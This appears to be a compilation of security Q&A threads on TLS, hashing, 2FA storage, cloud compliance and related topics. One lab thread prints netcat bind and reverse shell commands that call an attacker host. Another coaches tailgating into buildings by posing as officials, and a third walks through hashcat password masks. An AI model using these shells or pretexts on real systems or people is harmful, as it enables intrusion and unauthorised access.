As a general piece of advice, you might want to review your terms of employment and any company policies to do with monitoring.  It's possible that they'll lay out what steps they can/will take there.

If you don't trust them then it's probably best not to run their software on your machine. If you have to work from home you could request they provide you with a corporate laptop to do the work on, to avoid having to install their software on your machine.


What's the need of multiple implementations of SSL/TLS? I've been reading about SSL/TLS and I was surprised when I saw the amount SSL/TLS implementations that exist. wikipedia.

So, is there really a need for all these different implementations?

Wouldn't  it be cheaper, more productive and faster just to mantain one implementation like OpenSSL?

Competition is a good thing, and so is redundancy/diversity.

While Heartbleed affected a lot of systems and services due to how widespread OpenSSL is, it certainly didn't effect 100% of systems. Having redundancy in software in general is good, if you have a problem with one piece of software you can fail over to another or mitigate the risk by spreading your software dependencies among multiple vendors (just like you would with hardware).

Secondly, competition in business drives efficiency and quality. The same is true for software. If an easier to use, more efficient or otherwise better solution comes along then that might either overtake the established software or force that established software to improve.


Could the thief who stole my phone access my pics? So my phone was stolen but it has a PW. Could the thief reset it somehow & access to the gallery or my  SD cards? Personal pics of me that i don't want leaked. Plus how do  i even know they've been leaked? Thanks

It's a Samsung

First of all, resetting the phone will wipe its internal storage (though not the SD card, by default) and is probably the best you can hope for. Use Google's "Find my phone" (https://myaccount.google.com/intro/find-your-phone) to check where the phone is (you might have just misplaced it) and, if it's stolen, remotely wipe all the data. If that doesn't work (for example, because it's off), you can still make it useless for anybody else: contact your mobile operator (the company that you pay for cellular service, such as Verizon or T-Mobile) and report the phone stolen (you can usually do this online).

If the photos (or anything else you care about) are stored on the SD card (usually the user can set it up that way or not, as they choose) and the SD card isn't encrypted (it's usually not, unless the user specifically sets that up), then the thief doesn't need to do anything but remove the card and put it in a computer.

If the password is short (for example, a 4-digit number) and not protected by a policy that wipes the phone after some number of failed attempts, the thief can quite possibly brute-force the code. Android's default lock out is only 30 seconds after five failed attempts, and it doesn't increase, so brute-forcing a short password is possible.

If storage encryption is not enabled, the thief can extract data from the internal storage without needing the password or resetting the device at all. However, this is an advanced attack that is unlikely to be attempted against a random person.


Difference between OS X md5 and gnu md5sum I have installed the "md5sum" utility on my Mac and there was also a "md5" binary pre-installed in /sbin.
My problem and question is this: "Isn't MD5 a standard algorithm?"
Because I get different hashes for a string using these utilities
Are there any differences in these utilities' implementations?
Example:

Mehdi-MacBook-Pro:~ mehdi$ md5 -s Hello
MD5 ("Hello") = 8b1a9953c4611296a827abf8c47804d7

Mehdi-MacBook-Pro:~ mehdi$ echo Hello | md5sum
09f7e02f1290be211da707a266f153b3  -

By default, echo leaves a trailing newline. So you need to do:

echo -n Hello | md5sum

8b1a9953c4611296a827abf8c47804d7


Disadvantages of using same key for encryption and decryption in symmetric cipher? In a symmetric cipher, the same key is used for encryption and decryption. What are some disadvantages of using the same key?

The disadvantage of symmetric encryption

Symmetric encryption always use the same key for encryption and decryption - that is the very definition of it. That has one major downside.

If the person doing the encryption and the decryption are not the same, they have to somehow securely share the key. If A generates a random key and encrypts a message for B with it, how does he get the key to B? To do this securely, he has to transmit the key out of bound, or encrypt it with B's public key using asymmetric encryption.

Obviously asymmetric encryption does not suffer from this disadvantage, since B can freely share his public key with anybody without loosing any confidentiality.

The disadvantage of asymmetric encryption

One word: Performance. It is slower than symmetric encryption. Therefore it is in general just used to encrypt a symmetric key that is used to encrypt the rest of the message.


Is it possible for someone to figure out my WIFI password by following me? Say someone drives up and parks in front of my house. They get a list of all SSIDs they can pick up. My phone is configured to save the WPA2 password and automatically login when the SSID is in range.

Is it possible for someone to follow me when I leave my house next, and then once we are away from the vicinity of my house, they start up a wireless network with each SSID name they picked up when near my house, and then wait to see what WPA2 passwords I send to them when my phone tries to log in?

Or, is there something in WPA2 or Android that won't try to login automatically to an SSID if it knows it is not the same piece of hardware at my house?

I think this same scenario could occur with a laptop, although my laptop is usually off until I get settled in a building somewhere, so it would be less convenient and more obvious for someone to do it to a laptop.

The situation you describe isn't really a concern. The WPA2 handshake never actually sends your password across; both the access point and the client send derived messages that demonstrate that they know the same password. So, spoofing a WPA2 access point won't help recover the password. However, it is possible to record the messages involved in a successful authentication between your client and the access point, and then attempt to brute force it offline, so it's important to have a strong password (or really, passphrase).


How to configure hashcat to only hash fixed length passwords with N digits? I know of mask and dictionary attacks.

Using a mask attack, I specify the charset for each position in the password pattern, e.g., ?1?1?d?1?d?1?1?d, where ?1 := ?l?u?s.

But how do I tell hashcat to only hash (fixed length) passwords with at least N digits (?d)? That is, the ?d charset specifiers may float around in the pattern above.

There's no native way to do this with hashcat. Instead, you must generate a list of masks that contain all of the permutations that fit your criteria.

The common tool for this is policygen from the PACK toolkit. My answer here outlines how to use it.

For your use case, it would be something like this (assuming 8-character passwords and a minimum of 3 digits):

$ policygen --minlength=8 --maxlength=8  --mindigit=3 \
    -o len8mindigit3.masks

               _
     PolicyGen 0.0.2  | |
      _ __   __ _  ___| | _
     | '_ \ / _` |/ __| |/ /
     | |_) | (_| | (__|   <
     | .__/ \__,_|\___|_|\_\
     | |
     |_| iphelix@thesprawl.org

[*] Saving generated masks to [len8mindigit3.masks]
[*] Using 1,000,000,000 keys/sec for calculations.
[*] Password policy:
    Pass Lengths: min:8 max:8
    Min strength: l:None u:None d:3 s:None
    Max strength: l:None u:None d:None s:None
[*] Generating [compliant] masks.
[*] Generating 8 character password masks.
[*] Total Masks:  65536 Time: 76 days, 18:50:04
[*] Policy Masks: 21067 Time: 3 days, 8:11:03

$ head len8mindigit3.masks
?d?d?d?d?d?d?d?d
?d?d?d?d?d?d?d?l
?d?d?d?d?d?d?d?u
?d?d?d?d?d?d?d?s
?d?d?d?d?d?d?l?d
?d?d?d?d?d?d?l?l
?d?d?d?d?d?d?l?u
?d?d?d?d?d?d?l?s
?d?d?d?d?d?d?u?d
?d?d?d?d?d?d?u?l

$ tail len8mindigit3.masks
?s?s?s?s?d?d?d?s
?s?s?s?s?d?d?l?d
?s?s?s?s?d?d?u?d
?s?s?s?s?d?d?s?d
?s?s?s?s?d?l?d?d
?s?s?s?s?d?u?d?d
?s?s?s?s?d?s?d?d
?s?s?s?s?l?d?d?d
?s?s?s?s?u?d?d?d
?s?s?s?s?s?d?d?d

You would then supply that file of masks to hashcat.


Two Factor Authentication Secret Storage I found this NPM package that looks like can be used to verify two factor authentication for websites, and also generating tokens for signing into other websites.

In the README there is a section about generating secrets.

For password security there is a huge emphasis on hashing and salting passwords and ensuring they remain secure and protected. Is there any such advice around storage of these secrets for the web server/platform that is providing the login service?

Obviously checking to make sure that there are no collisions between two different users secrets.

I haven’t seen very many tutorials or discussions around implementation tips and suggestions around two factor authentication.

No clever storage method exists for HOTP and TOTP. You should do your best to limit which programs can look up shared secrets using ordinary access control methods. (Plus physically securing the computer and erasing hard dives before they need to be discarded.)

Encrypting the shared secrets with a key only the server knows helps, but only if the (encryption) key isn't hidden below the metaphorical doormat. If the key is stored on the same server (or same drive) as the shared-secrets database then you aren't likely to gain much.

In a normal password hashing authentication system the server can store the hash of a password instead of the password itself because

For any hash function, identical inputs result in identical outputs. (If P1 == P2, then H(P1) == H(P2). This is true because H is deterministic.)
For a cryptographic hash, hashes of two non-identical inputs will not match with near certainty.

Blindly guessing passwords fails because any one of the many possible outputs is equally probable. (A 256-bit hash has 2256 possible outputs. The probability that a blind guess produces a different output is 1 - 2-256.
By definition cryptographic secure hashes are preimage resistant. There is no feasible way to compute, for any chosen y, an input x such H(x) == y. (256-bit preimage resistance implies that there is no method more efficient than brute forcing around 2256 inputs.)

That means that in practice whether P1 equals P2 is the same as whether H(P1) equals H(P2).

If there is no other reason that the server needs to store plaintext, then we should store the hash instead.  The advantage to storing (salted) hashes instead is that cryptographic hashes are one way. With a sufficiently strong password that leaves even the server unable to determine the user's original password once all copies of the plaintext password have been cleared.

This is why a hacker with read access to the system, a discarded hard drive, or a database dump cannot immediately determine a persons password. (But a person's password (not chosen by a secure RNG) can get cracked in the real world because humans make relatively predictable choices.)

TOTP and HOTP do not work this way. Instead one time passwords are derived from a shared secret. With that secret, both the client and the server can generate as many one time passwords as they want. However, someone who doesn't have access to that secret cannot generate new authentication codes.

The only method the server could use (without using something different from HOTP and TOTP) to give up their knowledge of the shared secret is to pre-generate, hash individual OTPs, and store the list of them somewhere. And that still doesn't prevent offline cracking because if the database is leaked then it is possible to bruteforce any of the OTPs from that list in less than 1010 hash function evaluations.

Fortunately there is no other value to a HOTP/TOTP shared secret except for defeating the authentication system itself. Generate a random shared secret for every new user, then the secret has no relation to any other information. Humans might reuse passwords across multiple services (which would make those services easier to hack if your security was compromised) and humans might do something like put their Social Security number in their password. For randomly generated secrets these would never be a concern.

So all you can do is use the same types of methods you might use to restrict access to things like credit card numbers, personal information, and other information you must have access to but must also prevent other people from accessing. (Examples are in the first and second paragraph. The only thing I can add is using HSMs for encryption, but everything else needs to be secure as well. Including server software, the computer itself, and the network it communicates over.)


Should passwords and challenge questions & answers be migrated? I am currently working on the migration of a user Identity and Access Management tool from a legacy platform (product + solution) to a new one (same product but upgraded + updated solution)

My team was challenged with the following requirements:

users should keep the same password
users should keep the same challenge questions & answers

We believe that as a best practice users should setup new password and new challenge questions & answers.

Also, we need to ensure compliance with GDPR, which means we are avoiding procedures and files that may show in plain text sensitive data.

What is the standard here?

Assuming the previous authentication system was secure, there shouldn't be a problem with preserving the password and challenge Q&A data. If you feel the previous authentication system was insecure in any way, you can feel free to assume the passwords may be compromised and force your users to reset their passwords on next login.

You mentioned "avoiding procedures and files that may show in plain text sensitive data.". If you're passwords are currently available in any way by plain text, then yes, you should have your users reset their passwords, after implementing a secure authentication process of course.


Segmenting Network: Zone location of a multipurpose NAS I am currently segmenting my home network into several networks and zones due to the fact that my cheap router keeps all devices (private, smart home, entertainment) in one network (without a guest network feature and client isolation).

The network contains one NAS that has a typically multi-purpose role in private networks: All relevant machines backup to the NAS and it used as a file and streaming server (exchanging files between machines, music stored on it, etc), and it hosts a very little website accessible only in the local network with some data displayed in a smart home application running on a standard smart phone (not purely for smart home use).

Naturally I would assume the NAS as something that should reside in a high security zone because it contains important data. PCs and Laptops are in the same zone. Now the tricky part: My smart-tv, my network music player, consoles and my tablets do sometimes need to access the NAS for their content, which they cannot per default because they would be in a lower zone "media zone" (e.g. I do not trust my smart tv in any way).

Are there only three solutions to that?

Move NAS to lower security zone (into the media zone)
Allow communication from media zone to high security zone (bad practise?)
Get another NAS and put it into the media zone with the appropriate content for this zone and perform sync and backup tasks from/to this NAS from the NAS in the high security zone?

While the last solution would be the most secure it might not be the most viable thing to do. Are there other approaches I miss here? Has 1. a benefit compared to 2. or vice versa?

There is of course also the smart-home / IoT zone, which should basically not access anything and isolate the devices as there is no trust or control over them (could be the guest network :D)

When communicating between different zones consider the sum of:

It is best when a high-security device initiates the connection to the lower-security device. So a high-security device doesn't listen to connections passively, but actively controls when and who it communicates to.
Pass the needed protocols (ports) and block the rest, both ways.
Pass the needed IP addresses and block the rest, both ways.
Pass during specific hours, block the remaining time.
Use a proxy if it can aid the authentication/authorization/auditing. (NAS usually implements these sufficiently, so probably not needed.)

In your situation, when you cannot afford to implement points 1+2+3+4+5, it's still better to say implement points 2+3+4 than nothing. It's low cost (as you've already decided you will segment the network) and it does provide some added security.


Is TLS v1 really secure for VOIP and video calling? Many applications are still using TLS v1 for video conferencing and VOIP calls. Is TLS v1 really secure for video and voice & video calling? or can some one can easily snoop your sessions with Wireshark or any snooping software?

Can someone easily decrypt TLS v1 sessions with these tools?

How much time would a sniffer need to hack or decrypt my TLS v1 sessions?

Can someone easily decrypt TLS v1 sessions with these tools?

Easily, no. While TLS 1.0 can be downgraded to SSL 3.0, which is vulnerable to the POODLE attack, exploiting this requires a MITM attack, and is not possible just through passive snooping. No non-MITM ways to break TLS 1.0 are known, other than attacking the underlying primitives, which is still more difficult than easily, though breaking RC4, if used, has been characterized as "feasible".

The best thing to do would be upgrade to the latest TLS and configure at least one endpoint to refuse weak primitives and key lengths.


SSL Certificate Signing by a CA Per my understanding about SSL's, a user has to send his CSR to a CA (Verisign) to get it signed, and Verisign will send the sign X.509 certificate in return.

What I don't understand is what, exactly, Verisign does with the CSR file? In the event that I lose the x509 certificate sent by them, will they be able to generate another?

What Verisign does, basically, is to encrypt your certificate using their private key, and send you the result. The user's browser contains Verisign's public key, so it can verify your key has been signed by Verisign by decrypting it using that public key.

They can re-send you your certificate as often as you want (they may or may not choose to do so commercially, but there's no security reason why they shouldn't). What they can't re-create for you is the private key that you used to generate the certificate and that must be installed on all of your web servers -- if you lose that, you have to get a new certificate starting from scratch.


Run NetCat as bat file instead of exe I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the machine itself.

I uploaded nc.exe on a remote server but it doesn't work, most likely due to  Windows asking the if it's OK to run unknown software, but there is no one to click "Allow".

So I tried to use exe2bat software, but I think I did something wrong when I did the conversion.

This command that should be working for me:  nc.exe -lvp 7777 -e cmd.exe
Conversion:  exe2bat   nc.exe   nc.bat
Execution: nc.bat -lvp 7777 -e cmd.exe

Can you advise why it doesn't work for me or what I am doing wrong, or if there any other better exe to bat converter?

I had to upload nc.exe and nc2.bat to bypass "Unknown software" security warning.
nc2.bat content to initiate connection from inside and avoid firewall security prompt:

@echo on
c:\%path_to_nc%\nc -nv %LINUX_IP% 4466 -e cmd

Then set up a listener on Linux IP

nc -nlvp 4466

Execute remote command calling for nc2

This way I got command prompt from the Windows box right away.


Incident response to a medium scale phishing attack whereas the targets are not from our company? Our company suffered a phishing attack yesterday. While investigating about the attacker and the potential employees of ours who might have been phished, we ended up with the attacker database of phished users.

This database include user email and passwords (~40) from multiple companies (~10) who seems to be sharing the same phishing attack as us. Moreover, it seems that the target are high profile.

So far, here is what we have been accomplishing :

Contact targeted companies and list phished users
Contact websites where the phishing attack is happening (it is happening on multiple hacked websites so it's hard to stop it)

However, we're not sure this is the best way to deal with the following situation, here is why :

More and more users still enter their credentials and this is not our role to secure other companies users and we would like to stop wasting time on this (most of the companies following up to our email or calling us asking for more details).
We are worried that some companies (targeted companies being in the same industry as us) might not understand us well and think we are in some way associated to that phishing attack because we are one of their competitors
We are doing security for our competitors (so we're spending money for them)

One solution could be to publish a blog post but it has downsides too such as being seen as a toxic player because we would be pointing fingers at our competitors security. Another solution would be not to contact this companies and let them get compromised.

What would be the best way to react to this phishing attack ?

This sort of thing needs to be handed off to law enforcement to handle if it is on-going.

Notify victims, then let them handle it.
Notify hosters, then let them handle it.

Do not go public about an on-going attack with active victims.

As much as you want to fix this, and have the skills to fix this, you have to respect the boundaries of responsibility that you have. You can't make the fix happen.


How do I setup honeypot server on Windows 7? Background

I would like to setup a honeypot server on a Windows 7 PC.

My system is not part of a network and I don't run a server.
I have a Windows 7 desktop PC.
It's Home Premium Anytime Upgrade 32-bit OS and 32-bit PC.
I don't have a wireless card.
I do have a wireless router and its D-link DIR-815.
I do use my iPhone as WiFi and does not require a wireless card.

Question

Where would I find an exact step-by-step tutorial on how to set up a honeypot, start to finish? Are any free honeypots available?

We cannot provide a complete step-by-step tutorial. You will have to figure some things out on your own. If you cannot, then running a honeypot is simply too dangerous because you ARE exposing yourself to a hacker and you need to know what you are doing.

1. Set up a protected environment for the honeypot

This is best done with a second cheap computer/laptop, but this can also be done with a virtual environment. I use VirtualBox: it is free and works very well. Once you get this going, then you have a choice in operating system. Linux really is the best choice here for the number of excellent and free honeypots available as well as the few resources it needs to run, which makes it perfect for cheap hardware or a virtual machine.

2. Choose a honeypot

You need to know what you want to do with your honeypot in order to make a choice here. 99% of them are free and on Linux.

3. Configure your router and firewalls (hardware and software)

This is where you can really hurt yourself if you do not know what you are doing. The honeypot you choose will determine what ports you need to open up and direct to your honeypot. You also need to make sure that traffic from your honeypot does not get directed to anywhere but the outside. No step-by-step tutorials here. You have to know. Get someone who does know to verify your configuration. Even I do that with my firewalls, and I'm a professional.


Is "Have I Been Pwned's" Pwned Passwords List really that useful? My understanding of Have I Been Pwned is that it checks your password to see if someone else in the world has used it.

This really doesn't seem that useful to me. It seems equivalent to asking if anyone in the world has the same front door key as me. Statistically, I would assume yes, but without knowing where I live... who cares?

So have I misunderstood what HIBP does or am I underestimating its value because I'm misunderstanding some principle of security?

EDIT

Turns out there was more to the site than I understand. I was referring specifically to the password feature.

Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service.

Let me clarify all the points raised here:

The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that.

I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following:

  When processing requests to establish and change memorized secrets, verifiers SHALL compare the prospective secrets against a list that contains values known to be commonly-used, expected, or compromised. For example, the list MAY include, but is not limited to: Passwords obtained from previous breach corpuses.

That's what Pwned Passwords addresses: NIST advised "what" you should do but didn't provide the passwords themselves. My service addresses the "how" part of it.

Now, practically, how much difference does it make? Is it really as you say in that it's just like a one in a million front door key situation? Well firstly, even if it was, the IRL example breaks down because there's no way some anonymous person on the other side of the world can try your front door key on millions of door in a rapid-fire, anonymous fashion. Secondly, the distribution of passwords is in no way linear; people choose the same crap ones over and over again and that puts those passwords at much higher risks than the ones we rarely see. And finally, credential stuffing is rampant and it's a really serious problem for organisations with online services. I continually hear from companies about the challenges they're having with attackers trying to login to people's accounts with legitimate credentials. Not only is that hard to stop, it may well make the company liable - this popped up just last week: "The FTC’s message is loud and clear: If customer data was put at risk by credential stuffing, then being the innocent corporate victim is no defence to an enforcement case" https://biglawbusiness.com/cybersecurity-enforcers-wake-up-to-unauthorized-computer-access-via-credential-stuffing/

Having seen a password in a data breach before is only one indicator of risk and it's one that each organisation using the data can decide how to handle. They might ask users to choose another one if it's been seen many times before (there's a count next to each one), flag the risk to them or even just silently mark the account. That's one defence along with MFA, anti-automation and other behavioural based heuristics. It's merely one part of the solution.

And incidentally, people can either use the (freely available) k-Anonymity model via API which goes a long way to protecting the identity of the source password or just download the entire set of hashes (also freely available) and process them locally. No licence terms, no requirement for attribution, just go and do good things with it :)


What is legally required to store HIPAA data in the "cloud"? I was looking into storing SQL DB backups of a healthcare system in the cloud in the event of a disaster to be HIPAA compliant. The solution I came up with was to use Cloudberry backups. What I would want to do is export the SQL DB on my local computer, use a passphrase in the Cloudberry config and the highest encryption settings, and upload to S3 nightly. This data will be at rest.

From what I read in the past this seems acceptable, and the statement below makes it sound acceptable as well but I want to be sure.

A PDF on the Cloudberry site states this:

  Leveraging Amazon S3 as a HIPAA-compliant storage platform -
  The Amazon S3 platform offers a cost-efficient alternative to store your customers’ digital
  records. All incoming data is automatically duplicated across several distinct locations to provide
  high durability and availability of customer data. The implemented encryption algorithms protect
  the confidentiality of in-transit (inbound and outbound) and “at-rest” (resident) data as required
  by the HIPAA provision. The industry-grade authentication helps delegate specific access control
  permissions to different user and administrator accounts.

I've read about BAA (business associate agreements) and other things, which some people suggest, and some say is unneccessary. I figured it would just be best to ask the professionals - is this method of backing up HIPAA data to the cloud compliant?

If you're using CloudBerry backup, enable the client-side encryption so that the files are encrypted before they reach Amazon S3.

Encrypted Data outside of HIPAA scope

You do not need a Business Associate Agreement (BAA) if you are sending encrypted data to a third party provider.  Note this encryption must be done with FIPS 140-2 compliant ciphers such as AES-128.  Essentially, under HIPAA, encrypted PHI data does not fall under the scope of the law's protection, so long as it is done with approved ciphers.  If only encrypted data is compromised, you do not need to notify anyone of the breach.

If unencrypted, get a BAA

Amazon does now offer HIPAA-compliant hosting packages, so if you want to have data unencrypted at Amazon, you would need to sign off on their BAA (provided boilerplate via  a web form).  I strongly disagree that a BAA is unnecessary for a cloud provider you are storing PHI data with -- I've been through many HIPAA audits from third-party certification companies and they always ask about this.    You would then also need your own documentation and security policy to reflect this relationship and document safeguards around the PHI.

Source Material

HHS provides information about encryption and breach notification here

Information about BAAs is provided by HHS here.


What would be a secure way to accept potentially infected files? If I'm designing a web application that allows people to upload files to scan them for vulnerabilities do I need to worry about the server that accepts the files being infected/corrupted if a malicious file is uploaded?  Or will it be fine as long as the file is only scanned and not opened?  If there is any danger in accepting these files what measures should I take to protect myself?

You have very good odds if the file is only scanned and not opened, but there have been instances of malware activating flaws in scanners.

Setup your scanner system to run non-persistently. A golden VM copy can be spun up pretty quickly for each scan instance. That way even if compromised it's only momentary.

Granted it's not impossible to also compromise the host under the VM, but compromising the scanner, the VM, and the Host is a pretty high bar.

Good Luck!


Roles to play when tailgaiting into a residential building Following people into a large RFID protected residential building is ridiculously easy, as not everyone knows everyone else. Just the other day I was let in with a rifle (an airgun, but how could have they known).

But standing helplessly in front of the door, looking in sorrow at the lock, is not the best role to play as it attracts questions like "who are you" or "who are you visiting".

What is a more appropriate behavior when waiting around for someone to enter?

There are some basic social engineering approaches to use that work in most situations, not just tailgating:

urgency
authority
curiosity
pretexting

Urgency

Be someone with a specific task to perform that needs to be done right now. The classics are a delivery person with full arms and someone looking to pick someone else up. A family member needing to check on an elderly resident. People want to be helpful and they don't think that you will be around long enough to be a threat.

Authority

Be someone who the gatekeeper has no right or reason to refuse. Fire marshal, utilities inspector, law enforcement, building security, process server. Lots of studies of people being let in with a just clipboard and a high-visibility vest.

Curiosity

To get close to someone, be very interesting in such a way that they want to know more. Dress up as a clown to deliver a telegram.

Pretexting

Establish a shallow relationship that appears to be deeper. Smoking with people outside on their break is classic. The smokers will assume you are also an employee (why else would you be there?)

Combinations

But these work even better in combination. A fire marshal in an awful rush. A clown who claims he was at the last company party (and knows a few important names). The more combinations you can combine, the more effective the process is — an authority figure, in a rush, to do something interesting, who claims to have a preexisting relationship. If you go over the top or try too hard, it will backfire, though.


Should SSL be terminated at a load balancer? When hosting a cluster of web application servers it’s common to have a reverse proxy (HAProxy, Nginx, F5, etc.) in between the cluster and the public internet to load balance traffic among app servers.  In order to perform deep packet inspection, SSL must be terminated at the load balancer (or earlier), but traffic between the load balancer and the app servers would be unencrypted.  Wouldn't early termination of SSL leave the app servers vulnerable to packet sniffing or ARP poisoning?

Should SSL be offloaded? If so, how can it be done without compromising the integrity of the data being served? My main concern is for a web application where message layer encryption isn't an option.

It seems to me the question is "do you trust your own datacenter".  In other words, it seems like you're trying to finely draw the line where the untrusted networks lie, and the trust begins.

In my opinion, SSL/TLS trust should terminate at the SSL offloading device since the department that manages that device often also manages the networking and infrastructure.  There is a certain amount of contractual trust there.  There is no point of encrypting data at a downstream server since the same people who are supporting the network usually have access to this as well.  (with the possible exception in multi-tenant environments, or unique business requirements that require deeper segmentation).

A second reason SSL should terminate at the load balancer is because it offers a centralized place to correct SSL attacks such as CRIME or BEAST.  If SSL is terminated at a variety of web servers, running on different OS's you're more likely to run into problems due to the additional  complexity .  Keep it simple, and you'll have fewer problems in the long run.

That being said

Yes, terminate at the load balancer and SSL offload there. Keep it simple.
The Citrix Netscaler load balancer (for example) can deny insecure access to a URL.  This policy logic, combined with the features of TLS should ensure your data remains confidential and tamper-free (given that I properly understand your requirement of integrity)

Edit:

It's possible (and common) to

Outsource the load balancer (Amazon, Microsoft, etc)
Use a 3rd party CDN (Akamai, Amazon, Microsoft, etc)
Or use a 3rd party proxy to prevent DoS attacks

... where traffic from that 3rd party would be sent to your servers over network links you don't manage.  Therefore may not trust those unencrypted links.  In that case you should re-encrypt the data, or at the very least have all of that data travel through a point-point VPN.

Microsoft does offer such a VPN product and allows for secure outsourcing of the perimeter.


Client private key in TLS Handshake I am facing an issue with TLS handshake. I am using the following ciphersuit with client authentication. MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256

What I am trying to do is use a smart card to sign the payloads of previous messages. So I store the private key in the smartcard in order to sign.

Now when I dont use the smartcard, the TLS handshake is working. So to start the discussion I have the following query:

Q. What is the role of client's private key in TLS handshake under client authentication scenario? Is it only used to sign or anything else as well?

Thanks for your help.

The private key of the client certificate is only needed during the SSL handshake to prove that the client owns the certificate. This proof is done by the client creating a signature over previous handshake messages using its private key and sending this signature inside the CertificateVerify message. This signature can be verified by the server using the public key from the clients certificate the client has send before in the Certificate message.
See Wikipedia:  Client authenticated TLS handshake for more details.


What is the difference between a Self-signed root certificate and a root certificate authority These terms come from the Keychain Access utillity on macOS High Sierra.

The Root certificate authority contains information about the Country, Location, Email-address, etc. of the origin, while the second contains a Serial number and a version in the Subject and Issuer information.

Are these the same things? Can there be root certificates that are not self-signed? I thought "Self-signed root certificate" would be a tautology.

The Root certificate authority contains information about the Country, Location, Email-address, etc. of the origin, while the second contains a Serial number and a version in the Subject and Issuer information. Are these the same things?

No, the properties you listed are not the same. A certificate must have a Subject and Issuer and it may additionally contain a Country, Location and Email-address, etc. What is included in a certificate depends on its type and what the owner wants in it.

  Can there be root certificates that are not self-signed? I thought "Self-signed root certificate" would be a tautology.

Let's take a look.

A self-signed certificate is just that. A certificate signed by the private key, which is the pair of the public key embedded in the certificate. When building a trust chain, this type of certificate can only appear at the root of the chain as it cannot have anything after it (since it is signed by itself). Here comes the twist. The trust chain building will stop when a trusted-root certificate is encountered. This is trusted-root is always self-signed.

However, there exists a special case when a CA who newly enters the field publishes its "root" certificate which is not self-signed, but cross certified by a well established CA, making it an intermediate certificate. This allows the new CA to start operations before its real root certificate is distributed to the browsers and OS trust stores. A great example of this is Let's Encrypt's root certificates. They are cross certified by IdenTrust.

To sum it up, yes self-signed certificates are by definition root certificates, making it a tautology.


CSP Reports: Ignoring Client Malware I'm seeing a lot of Content Security Policy (CSP) reports raised because of client-side malware. Many have "blocked-uri" entries like randomstring.cloudfront.net, something.akamaihd.net and so on.

I would like to detect CSP reports caused by malware, so I can ignore them. Ignoring *.cloudfront.net doesn't seem right, is there a way?

I highly doubt that these CSP reports where generated with client-side malware.  I suspect this the behavior of a load-balancer that is leading to positives.   Malware authors prefer hosting their applications using infrastructure with less oversight, where as Akamai and Cloudflare provide security services and have their own highly skilled security teams.

Without actually seeing these logs,  no one can help you.  The first thing I would do is download the JavaScript in the CSP report and perform an malware analysis on it.


ARP request replay attack - why do APs work the way they do? ARP request replay attacks are based on the practice that wireless access points repeat ARP packets injected into the network, and since these ARP packets are encrypted, they also carry the IV with it.

Can someone explain:

Why do wireless access points encrypt ARP packets in the first place?
Why are wireless access points programmed to repeat ARP packets injected into the network?

Why do wireless access points encrypt ARP packets in the first place?

The data payload of all [non-802.11 management] frames from the client to the AP (and vice versa) are encrypted when encryption is use. ARP is simply another frame that is handled exactly as every other frame.

The AP will not accept unencrypted frames from a client once encryption has been established. If it did, this would open the door for a wide number of attacks that were spoofed to imitate a valid client.

  Why are wireless access points programmed to repeat ARP packets injected into the network?

Because ARP is broadcast (generally speaking - there are directed ARPs, but those are limited case and not used in this case) throughout the L2 domain so that the device with the L3 address will receive it and respond.

If the AP did not do so, this would break ARP functionality for every device on the L2 domain. Clients connected to the device wouldn't even be able to find their own default gateway's MAC address via ARP.


Is it possible to use steganography on an analog audio channel? Is it possible to use steganography using an analog audio channel?

I know this can be done using images. My idea is to encode an audio message in way that if listened by an ordinary device (e.g., radio or telephone) it delivers a normal message. But if we use a special decoder, the receiver can listen to a hidden message. Please note that I am interested in decoding the message only using analog audio. I know it is possible if we go with digital audio.

Is this possible? If so, it would be great if someone can give me a some practical implementations of this.

There are a few ways to do this. Use ring modulation to add a virtual carrier to the audio you want to hide, for example at 14khz. Goldwave's mechanize feature can do this. This will give an amplitude modulation-like signal with sidebands above and below 14khz. Then use a highpass filter to get rid of the lower sideband, and only kids or dogs may hear the deedle deedle deet of the single sideband audio signal, but may not know what it is unless they're familiar with shortwave listening or ham radio. Someone else with a ringmod plugin or goldwave can apply the same 14khz effect to demodulate the signal. The normal un-hidden audio at the same time will get modulated at 14khz and will sound like hash that you can get rid of using a lowpass filter to hear the hidden audio totally in the clear, but you probably won't need to bother. I suggest before you hide your audio that you filter it with a 300hz to 3000hz filter which is what telephones and communications radios use. This will limit aliasing of the converted audio and make it harder for normal ears to hear when listening to the undemodulated file. Another method is to simply record a short message and slow it down 32 times, and mix the result with the ordinary in the clear audio you want to mask the message with. Be sure to mix it at a reasonably low volume so that the low thunder rumbles of a slowed-down human voice are not obvious under the normal audio. Then all the guy on the other end needs to do is speed up the file 32 times to hear your short message. This method needs lots of room, 32 seconds of file for each second of slowed-down audio, so make it quick.


Best practice to secure hard-drive in case of theft or loss or unauthorized access? Scenario:

a person owns and used only a laptop (or PC) and on its hard drive is stored sensitive information, in addition, in browsers the logged-in sessions to gmail, facebook, server, etc...etc..

Existing secutiry:

Hard-drive is password protected (set from BIOS, thus pwd is asked on PC boot, before boot to Windows).
Windows user is password protected, so before person leaves pc, always switchs offs the user.

Goal:

The goal is to protect PC as it was still easy to use as normal computer (Windows 10 installed) for everyday use.  What things needs to be done to protect laptop/computer so, even if someone steals hdd/laptop or even gets access to it (when the person is away from pc), so noone can access data? I suspect the above listed things are not good-enough.

The best solution for protection of the contents of a fixed storage medium is to use a password-based full-disk encryption system with a strong password. Windows 10 Pro and Enterprise come with BitLocker, which can be configured in such a mode. Third-party products are also available to accomplish the same task.

Many of these products provide an automatic unlock feature. While this is more convenient, it can also be a vulnerability. Essentially, this feature sets up a chip on the motherboard so that the hard drive can be unlocked without typing a password as long as it is in the same computer.

Since you're concerned about the whole computer being stolen, automatic unlock might defeat the protection that the encryption provides in that case. However, the thief would still probably have to get past the Windows password, because they wouldn't be able to get at the drive without booting into Windows.


How to view WiFi traffic using Wireshark on a 3rd party? I am trying to look at traffic between my phone and the outside world, and for whatever reason I can't see the outside world's traffic coming in.

I am running Wireshark on a Kali box, I turned on the monitor mode interface, and then setup Wireshark to capture.  I can see the outgoing traffic just fine, but can't see the responses, e.g. SYN and ACK messages, but no SYN/ACK.  I tried using a display filter with ip.addr==w.x.y.z, but the only traffic captured had the phone's IP as the source, never the destination.

